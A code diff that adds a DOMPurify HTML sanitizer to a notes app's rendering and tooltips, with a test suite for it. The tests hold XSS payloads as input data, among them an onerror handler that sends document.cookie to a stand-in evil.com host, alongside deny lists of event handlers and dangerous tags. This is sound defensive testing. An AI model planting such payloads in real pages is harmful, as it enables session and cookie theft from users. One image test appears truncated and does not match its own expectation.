Feat/fun take1

apps/client/src/services/content_renderer_text.ts

@@ -5,6 +5,7 @@ import froca from "./froca.js";
 import link from "./link.js";
 import { renderMathInElement } from "./math.js";
 import { getMermaidConfig } from "./mermaid.js";
+import { sanitizeNoteContentHtml } from "./sanitize_content.js";
 import { formatCodeBlocks } from "./syntax_highlight.js";
 import tree from "./tree.js";
 import { isHtmlEmpty } from "./utils.js";
@@ -14,7 +15,7 @@ export default async function renderText(note: FNote | FAttachment, $renderedCon
     const blob = await note.getBlob();
 
     if (blob && !isHtmlEmpty(blob.content)) {
-        $renderedContent.append($('<div class="ck-content">').html(blob.content));
+        $renderedContent.append($('<div class="ck-content">').html(sanitizeNoteContentHtml(blob.content)));
 
         const seenNoteIds = options.seenNoteIds ?? new Set<string>();
         seenNoteIds.add("noteId" in note ? note.noteId : note.attachmentId);

apps/client/src/services/note_tooltip.ts

@@ -5,6 +5,7 @@ import contentRenderer from "./content_renderer.js";
 import froca from "./froca.js";
 import { t } from "./i18n.js";
 import linkService from "./link.js";
+import { sanitizeNoteContentHtml } from "./sanitize_content.js";
 import treeService from "./tree.js";
 import utils from "./utils.js";
 
@@ -92,8 +93,9 @@ async function mouseEnterHandler<T>(this: HTMLElement, e: JQuery.TriggeredEvent<
         return;
     }
 
-    const html = `<div class="note-tooltip-content">${content}</div>`;
-    const tooltipClass = `tooltip-${  Math.floor(Math.random() * 999_999_999)}`;
+    const sanitizedContent = sanitizeNoteContentHtml(content);
+    const html = `<div class="note-tooltip-content">${sanitizedContent}</div>`;
+    const tooltipClass = `tooltip-${Math.floor(Math.random() * 999_999_999)}`;
 
     // we need to check if we're still hovering over the element
     // since the operation to get tooltip content was async, it is possible that
@@ -110,6 +112,8 @@ async function mouseEnterHandler<T>(this: HTMLElement, e: JQuery.TriggeredEvent<
             title: html,
             html: true,
             template: `<div class="tooltip note-tooltip ${tooltipClass}" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>`,
+            // Content is pre-sanitized via DOMPurify so Bootstrap's built-in sanitizer
+            // (which is too aggressive for our rich-text content) can be disabled.
             sanitize: false,
             customClass: linkId
         });

apps/client/src/services/sanitize_content.spec.ts

@@ -0,0 +1,236 @@
+import { describe, expect, it } from "vitest";
+import { sanitizeNoteContentHtml } from "./sanitize_content";
+
+describe("sanitizeNoteContentHtml", () => {
+    // --- Preserves legitimate CKEditor content ---
+
+    it("preserves basic rich text formatting", () => {
+        const html = '<p><strong>Bold</strong> and <em>italic</em> text</p>';
+        expect(sanitizeNoteContentHtml(html)).toBe(html);
+    });
+
+    it("preserves headings", () => {
+        const html = '<h1>Title</h1><h2>Subtitle</h2><h3>Section</h3>';
+        expect(sanitizeNoteContentHtml(html)).toBe(html);
+    });
+
+    it("preserves links with href", () => {
+        const html = '<a href="https://example.com">Link</a>';
+        expect(sanitizeNoteContentHtml(html)).toBe(html);
+    });
+
+    it("preserves internal note links with data attributes", () => {
+        const html = '<a class="reference-link" href="#root/abc123" data-note-path="root/abc123">My Note</a>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain('class="reference-link"');
+        expect(result).toContain('href="#root/abc123"');
+        expect(result).toContain('data-note-path="root/abc123"');
+        expect(result).toContain(">My Note</a>");
+    });
+
+    it("preserves images with src", () => {
+        const html = '<img src="api/images/abc123/image.png" alt="test">';
+        expect(sanitizeNoteContentHtml(html)).toContain('src="api/images/abc123/image.png"');
+    });
+
+    it("preserves tables", () => {
+        const html = '<table><thead><tr><th>Header</th></tr></thead><tbody><tr><td>Cell</td></tr></tbody></table>';
+        expect(sanitizeNoteContentHtml(html)).toBe(html);
+    });
+
+    it("preserves code blocks", () => {
+        const html = '<pre><code class="language-javascript">const x = 1;</code></pre>';
+        expect(sanitizeNoteContentHtml(html)).toBe(html);
+    });
+
+    it("preserves include-note sections with data-note-id", () => {
+        const html = '<section class="include-note" data-note-id="abc123">&nbsp;</section>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain('class="include-note"');
+        expect(result).toContain('data-note-id="abc123"');
+        expect(result).toContain("&nbsp;</section>");
+    });
+
+    it("preserves figure and figcaption", () => {
+        const html = '<figure><img src="test.png"><figcaption>Caption</figcaption></figure>';
+        expect(sanitizeNoteContentHtml(html)).toContain("<figure>");
+        expect(sanitizeNoteContentHtml(html)).toContain("<figcaption>");
+    });
+
+    it("preserves task list checkboxes", () => {
+        const html = '<ul><li><input type="checkbox" checked disabled>Task done</li></ul>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain('type="checkbox"');
+        expect(result).toContain("checked");
+    });
+
+    it("preserves inline styles for colors", () => {
+        const html = '<span style="color: red;">Red text</span>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain("style");
+        expect(result).toContain("color");
+    });
+
+    it("preserves data-* attributes", () => {
+        const html = '<div data-custom-attr="value" data-note-id="abc">Content</div>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain('data-custom-attr="value"');
+        expect(result).toContain('data-note-id="abc"');
+    });
+
+    // --- Blocks XSS vectors ---
+
+    it("strips script tags", () => {
+        const html = '<p>Hello</p><script>alert("XSS")</script><p>World</p>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<script");
+        expect(result).not.toContain("alert");
+        expect(result).toContain("<p>Hello</p>");
+        expect(result).toContain("<p>World</p>");
+    });
+
+    it("strips onerror event handlers on images", () => {
+        const html = '<img src="x" onerror="alert(1)">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onerror");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips onclick event handlers", () => {
+        const html = '<div onclick="alert(1)">Click me</div>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onclick");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips onload event handlers", () => {
+        const html = '<img src="x" onload="alert(1)">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onload");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips onmouseover event handlers", () => {
+        const html = '<span onmouseover="alert(1)">Hover</span>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onmouseover");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips onfocus event handlers", () => {
+        const html = '<input onfocus="alert(1)" autofocus>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onfocus");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips javascript: URIs in href", () => {
+        const html = '<a href="javascript:alert(1)">Click</a>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("javascript:");
+    });
+
+    it("strips javascript: URIs in img src", () => {
+        const html = '<img src="javascript:alert(1)">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("javascript:");
+    });
+
+    it("strips iframe tags", () => {
+        const html = '<iframe src="https://evil.com"></iframe>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<iframe");
+    });
+
+    it("strips object tags", () => {
+        const html = '<object data="evil.swf"></object>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<object");
+    });
+
+    it("strips embed tags", () => {
+        const html = '<embed src="evil.swf">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<embed");
+    });
+
+    it("strips style tags", () => {
+        const html = '<style>body { background: url("javascript:alert(1)") }</style><p>Text</p>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<style");
+        expect(result).toContain("<p>Text</p>");
+    });
+
+    it("strips SVG with embedded script", () => {
+        const html = '<svg><script>alert(1)</script></svg>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<script");
+        expect(result).not.toContain("alert");
+    });
+
+    it("strips meta tags", () => {
+        const html = '<meta http-equiv="refresh" content="0;url=evil.com"><p>Text</p>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<meta");
+    });
+
+    it("strips base tags", () => {
+        const html = '<base href="https://evil.com/"><p>Text</p>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<base");
+    });
+
+    it("strips link tags", () => {
+        const html = '<link rel="stylesheet" href="evil.css"><p>Text</p>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<link");
+    });
+
+    // --- Edge cases ---
+
+    it("handles empty string", () => {
+        expect(sanitizeNoteContentHtml("")).toBe("");
+    });
+
+    it("handles null-like falsy values", () => {
+        expect(sanitizeNoteContentHtml(null as unknown as string)).toBe(null);
+        expect(sanitizeNoteContentHtml(undefined as unknown as string)).toBe(undefined);
+    });
+
+    it("handles nested XSS attempts", () => {
+        const html = '<div><p>Safe</p><img src=x onerror="fetch(\'https://evil.com/?c=\'+document.cookie)"><p>Also safe</p></div>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("onerror");
+        expect(result).not.toContain("fetch");
+        expect(result).not.toContain("cookie");
+        expect(result).toContain("Safe");
+        expect(result).toContain("Also safe");
+    });
+
+    it("handles case-varied event handlers", () => {
+        const html = '<img src="x" ONERROR="alert(1)">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result.toLowerCase()).not.toContain("onerror");
+    });
+
+    it("strips dangerous data: URI on anchor elements", () => {
+        const html = '<a href="data:text/html,<script>alert(1)</script>">Click</a>';
+        const result = sanitizeNoteContentHtml(html);
+        // DOMPurify should either strip the href or remove the dangerous content
+        expect(result).not.toContain("<script");
+        expect(result).not.toContain("alert(1)");
+    });
+
+    it("allows data: URI on image elements", () => {
+        const html = '<img src="...">';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).toContain("data:image/png");
+    });
+
+    it("strips template tags which could contain scripts", () => {
+        const html = '<template><script>alert(1)</script></template>';
+        const result = sanitizeNoteContentHtml(html);
+        expect(result).not.toContain("<script");
+        expect(result).not.toContain("<template");
+    });
+});

apps/client/src/services/sanitize_content.ts

@@ -0,0 +1,115 @@
+/**
+ * Client-side HTML sanitization for note content rendering.
+ *
+ * This module provides sanitization of HTML content before it is injected into
+ * the DOM, preventing stored XSS attacks. Content written through non-CKEditor
+ * paths (Internal API, ETAPI, Sync) may contain malicious scripts, event
+ * handlers, or other XSS vectors that must be stripped before rendering.
+ *
+ * Uses DOMPurify, a well-audited XSS sanitizer that is already a transitive
+ * dependency of this project (via mermaid).
+ *
+ * The configuration is intentionally permissive for rich-text formatting
+ * (bold, italic, headings, tables, images, links, etc.) while blocking
+ * script execution vectors (script tags, event handlers, javascript: URIs,
+ * data: URIs on non-image elements, etc.).
+ */
+import DOMPurify, { type Config as DOMPurifyConfig } from "dompurify";
+
+/**
+ * URI-safe protocols allowed in href/src attributes.
+ * Blocks javascript:, vbscript:, and other dangerous schemes.
+ */
+// Note: data: is intentionally omitted here; it is handled via ADD_DATA_URI_TAGS
+// which restricts data: URIs to only <img> elements.
+const ALLOWED_URI_REGEXP = /^(?:(?:https?|ftps?|mailto|evernote|file|gemini|git|gopher|irc|irc6|jabber|magnet|sftp|skype|sms|spotify|steam|svn|tel|smb|zotero|geo|obsidian|logseq|onenote|slack):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i;
+
+/**
+ * DOMPurify configuration for sanitizing note content.
+ *
+ * Uses DOMPurify's built-in security-researched profiles for HTML, SVG, and
+ * MathML rather than a hand-maintained tag allowlist. This ensures proper
+ * namespace handling (critical for SVG rendering in mermaid/canvas/mind-map
+ * notes and MathML in KaTeX equations) while staying current with DOMPurify's
+ * upstream security fixes.
+ *
+ * Defense-in-depth is provided via FORBID_TAGS / FORBID_ATTR which explicitly
+ * block known-dangerous elements and all event-handler attributes, regardless
+ * of what the profiles permit.
+ */
+const PURIFY_CONFIG: DOMPurifyConfig = {
+    // Enable DOMPurify's curated safe-element sets for HTML, SVG, and MathML.
+    // This replaces a manual ALLOWED_TAGS list and correctly handles namespace
+    // parsing (e.g. SVG elements must be in the SVG namespace to render).
+    USE_PROFILES: { html: true, svg: true, svgFilters: true, mathMl: true },
+    ALLOWED_URI_REGEXP,
+    // CKEditor data-* attributes not in the default set
+    ADD_ATTR: ["data-note-id", "data-note-path", "data-href", "data-language",
+               "data-value", "data-box-type", "data-link-id", "data-no-context-menu"],
+    // CKEditor custom elements
+    ADD_TAGS: ["en-media"],
+    // ── Explicit deny-lists (defense-in-depth) ──
+    // Script execution vectors
+    FORBID_TAGS: ["script", "style", "iframe", "object", "embed", "link", "meta",
+                  "base", "noscript", "template",
+                  // SVG elements that can execute scripts or embed arbitrary HTML
+                  "foreignObject",
+                  // SVG animation elements — can trigger event handlers via
+                  // onbegin/onend/onrepeat attributes
+                  "animate", "animateMotion", "animateTransform", "set"],
+    // All DOM event-handler attributes
+    FORBID_ATTR: ["onerror", "onload", "onclick", "onmouseover", "onfocus",
+                  "onblur", "onsubmit", "onreset", "onchange", "oninput",
+                  "onkeydown", "onkeyup", "onkeypress", "onmousedown",
+                  "onmouseup", "onmousemove", "onmouseout", "onmouseenter",
+                  "onmouseleave", "ondblclick", "oncontextmenu", "onwheel",
+                  "ondrag", "ondragend", "ondragenter", "ondragleave",
+                  "ondragover", "ondragstart", "ondrop", "onscroll",
+                  "oncopy", "oncut", "onpaste", "onanimationend",
+                  "onanimationiteration", "onanimationstart",
+                  "ontransitionend", "onpointerdown", "onpointerup",
+                  "onpointermove", "onpointerover", "onpointerout",
+                  "onpointerenter", "onpointerleave", "ontouchstart",
+                  "ontouchend", "ontouchmove", "ontouchcancel",
+                  // SVG animation event handlers
+                  "onbegin", "onend", "onrepeat"],
+    // Allow data: URIs only for images (needed for inline images)
+    ADD_DATA_URI_TAGS: ["img"],
+    RETURN_DOM: false,
+    RETURN_DOM_FRAGMENT: false,
+    WHOLE_DOCUMENT: false
+};
+
+// Configure a DOMPurify hook to handle data-* attributes more broadly
+// since CKEditor uses many custom data attributes.
+DOMPurify.addHook("uponSanitizeAttribute", (node, data) => {
+    // Allow all data-* attributes
+    if (data.attrName.startsWith("data-")) {
+        data.forceKeepAttr = true;
+    }
+});
+
+/**
+ * Sanitizes HTML content for safe rendering in the DOM.
+ *
+ * This function should be called on all user-provided HTML content before
+ * inserting it into the DOM via dangerouslySetInnerHTML, jQuery .html(),
+ * or Element.innerHTML.
+ *
+ * The sanitizer preserves rich-text formatting produced by CKEditor
+ * (bold, italic, links, tables, images, code blocks, etc.) while
+ * stripping XSS vectors (script tags, event handlers, javascript: URIs).
+ *
+ * @param dirtyHtml - The untrusted HTML string to sanitize.
+ * @returns A sanitized HTML string safe for DOM insertion.
+ */
+export function sanitizeNoteContentHtml(dirtyHtml: string): string {
+    if (!dirtyHtml) {
+        return dirtyHtml;
+    }
+    return DOMPurify.sanitize(dirtyHtml, PURIFY_CONFIG) as string;
+}
+
+export default {
+    sanitizeNoteContentHtml
+};